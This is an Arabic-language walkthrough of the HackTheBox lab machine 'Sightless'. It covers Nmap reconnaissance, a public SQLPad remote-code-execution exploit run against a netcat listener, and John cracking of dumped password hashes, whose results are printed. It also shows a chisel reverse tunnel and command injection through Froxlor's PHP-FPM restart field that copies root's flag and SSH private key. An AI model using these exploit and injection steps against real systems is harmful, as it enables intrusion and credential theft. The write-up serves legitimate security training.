> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# شرح Sightless HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**المهارات**:

* استغلال SQLPad
* نظام تعداد LINpeas
* كسر الهاشات (John)
* تحويل المنافذ (chisel)
* Froxlor (حقن الأوامر)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/81a20f768340b1353d77468f6c0bf981235bb958" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/bb2181f1ec5fbdf7d0acba60c8b49daf9a9014be" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="/files/5aa72870c17e53a901c62b66151e04dc98e4b5cf" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (21,22,80)

<figure><img src="/files/9c0d946d5222081ce912f21e77ca375a3676a298" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="/files/2b0bdf806ba20f973e9794881db22b4227c4f910" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/ae148c0c5d4f14c7a09a2802fee8de3fdf6e85d2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1ef1beca246991da45a6205c5691e79adf1f4c84" alt=""><figcaption></figcaption></figure>

نعثر على بريد إلكتروني محتمل: `sales@sightless.htb`

<figure><img src="/files/8f190404ecc43b2baed8c1116107bd01756ffcec" alt="" width="563"><figcaption></figcaption></figure>

## ثغرة SQLPad:

{% hint style="info" %}
**SQLPad** هي أداة مفتوحة المصدر تجعل من السهل تنفيذ استعلامات SQL وعرضها ومشاركتها عبر واجهة ويب سهلة الاستخدام. وهي مثالية لفرق البيانات أو المطورين.
{% endhint %}

<figure><img src="/files/db2da750d2dc30c04e2ddb6fe01c0e8769eb7bfb" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="/files/b3e681f659d5442624208aaac7a332fd93602a41" alt=""><figcaption></figcaption></figure>

**الإصدار المعرض للثغرة:**

النسخة الموجودة على `http://admin.sightless.htb` تستخدم SQLPad 6.10.0، وهو إصدار يحتوي على ثغرة معروفة.

<figure><img src="/files/6f58d8ecfdbd7096e4b55ef8cd0f8f9781ee731d" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**التثبيت:**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**تشغيل الاستغلال:**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

نستمع على المنفذ 443 باستخدام `nc`، ونحصل على وصول.

<figure><img src="/files/e4a3b4ac61bf5e59e1883db4019f2b742f3fdfab" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

عند الوصول إلى جذر النظام، نجد مستخدمين اثنين: `michael` و `node`، بالإضافة إلى سكربت باسم `linpeas.sh`استخدمه لتعداد النظام واكتشاف الثغرات المحتملة.

<figure><img src="/files/306630b26b9d429e2ef844c26e22ec9e2061de49" alt=""><figcaption></figcaption></figure>

### **تعداد النظام (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="/files/66ae54640dce29f9effd79d4bd37d7ef7baf7082" alt=""><figcaption></figcaption></figure>

نستخدم LinPEAS للتعرف على الامتيازات ونكتشف كلمات المرور المُجزأة للمستخدمين `root` و `michael`.

<figure><img src="/files/ef1e755d7397b611eef41ca957a4637d4c82988e" alt=""><figcaption></figcaption></figure>

نحاول كسر هذه الكلمات باستخدام John وقاموس Rockyou:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

إليك كلمات المرور المسترجعة:

`root:blindside`

`michael:insaneclownposse`

<figure><img src="/files/19aca2a66f21075ada2b5dfbefb66a72700158c7" alt=""><figcaption></figcaption></figure>

### الراية user.txt

عند تسجيل الدخول بالمستخدم `michael`، نحصل على الملف `user.txt`. ومع ذلك، يبدو أن كلمة مرور root غير صحيحة.

<figure><img src="/files/ec5e11e27eb4054b81c41f2ed0c5f1b68e274808" alt=""><figcaption></figcaption></figure>

### **Chisel (تحويل المنافذ)**

سنلاحظ أولاً المنافذ المفتوحة داخليًا بالأمر التالي:

```bash
netstat -nltp
```

نلاحظ أن المنفذ **8080** يجذب انتباهنا.

<figure><img src="/files/83744fd1f6d632def7c867d10a1bf57b0e6cc837" alt=""><figcaption></figcaption></figure>

من خلال تنفيذ `curl` طلب على هذا المنفذ، نحصل على صفحة HTML تحتوي على نموذج تسجيل دخول باسم مستخدم وكلمة مرور.

<figure><img src="/files/e7ae7449e117bd18da6919eeca3f1a19d62b3a3f" alt=""><figcaption></figcaption></figure>

لإتاحة هذا المحتوى الداخلي للخارج، سنستخدم أداة **Chisel** سننقل ملف Chisel الثنائي إلى جهازنا باستخدام **Python** و **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="/files/fed148df56d21e05c47e7ed5245da6cd928fc063" alt=""><figcaption></figcaption></figure>

بعد ذلك، نستمع على جهازنا المهاجم على المنفذ **8888**:

```bash
chisel server -p 8888 -reverse
```

على الجهاز الهدف، نشغّل سكربت Chisel بوضع العميل للاتصال بجهازنا المهاجم على المنفذ **8888**. وبذلك نعيد توجيه localhost الخاص بمنفذ الضحية **8080** إلى منفذنا **8081**:

<figure><img src="/files/a8360461d43c4244a9218aaa39e4904d1d8f1f8e" alt=""><figcaption></figcaption></figure>

بهذه الطريقة، كشفنا خارجيًا الخدمة التي كانت تعمل داخليًا على المنفذ **8080** (**Froxlor**).

<figure><img src="/files/af6648f74f4bee07dc3d40b72a9206fbba7d2ea5" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor هو لوحة تحكم لإدارة استضافة الويب تتيح للمستخدمين إدارة خوادمهم وخدمات الاستضافة بسهولة. ويوفر واجهة سهلة الاستخدام لتكوين وإدارة موارد الخادم، مثل النطاقات وقواعد البيانات وحسابات FTP وخدمات البريد الإلكتروني.
{% endhint %}

**إنشاء إصدار PHP جديد :**

بعد تسجيل الدخول، انتقل إلى قسم “PHP”، ثم “PHP-FPM Versions” وأنشئ إصدارًا جديدًا. في حقل أمر إعادة تشغيل PHP-FPM، أدخل الأمر التالي: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/e93df3dbaa9553326dcbfd673df3303242c29223" alt=""><figcaption></figcaption></figure>

احفظ الإعدادات ثم انتقل إلى `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. قم بتعطيل PHP-FPM واحفظ التغييرات، ثم أعد تفعيله واحفظ مرة أخرى. سيؤدي هذا إلى تنفيذ أمر النسخ.

<figure><img src="/files/9d48efee5c93fc7cd01317349b2515d4eaf8143e" alt=""><figcaption></figcaption></figure>

هذا هو الملف، يجب الآن منحه الأذونات:

<figure><img src="/files/a281a6c39db0ca6eafdbdfd61f6df42590e54774" alt=""><figcaption></figcaption></figure>

للمتابعة، كرر العملية نفسها ولكن استبدل الأمر بـ:

```bash
chmod 644 /tmp/root.txt
```

### راية root : )

<figure><img src="/files/bba9702973bb018de2d1931fe75903aced87472a" alt=""><figcaption></figcaption></figure>

للاتصال، عليك فقط نسخ `id_rsa` المفتاح (SSH من root) وكرر الإجراء لاستعادة الأذونات:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/df387b8f820354883df038d6b638505a07feadb6" alt=""><figcaption></figcaption></figure>

ثم سجّل الدخول باستخدام المفتاح عبر SSH:

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="/files/7edcdd1c216b468906a986536403ecf5f80f8ba3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b129074fd6fa2fba360a9f517e4efa632c68c7fd" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
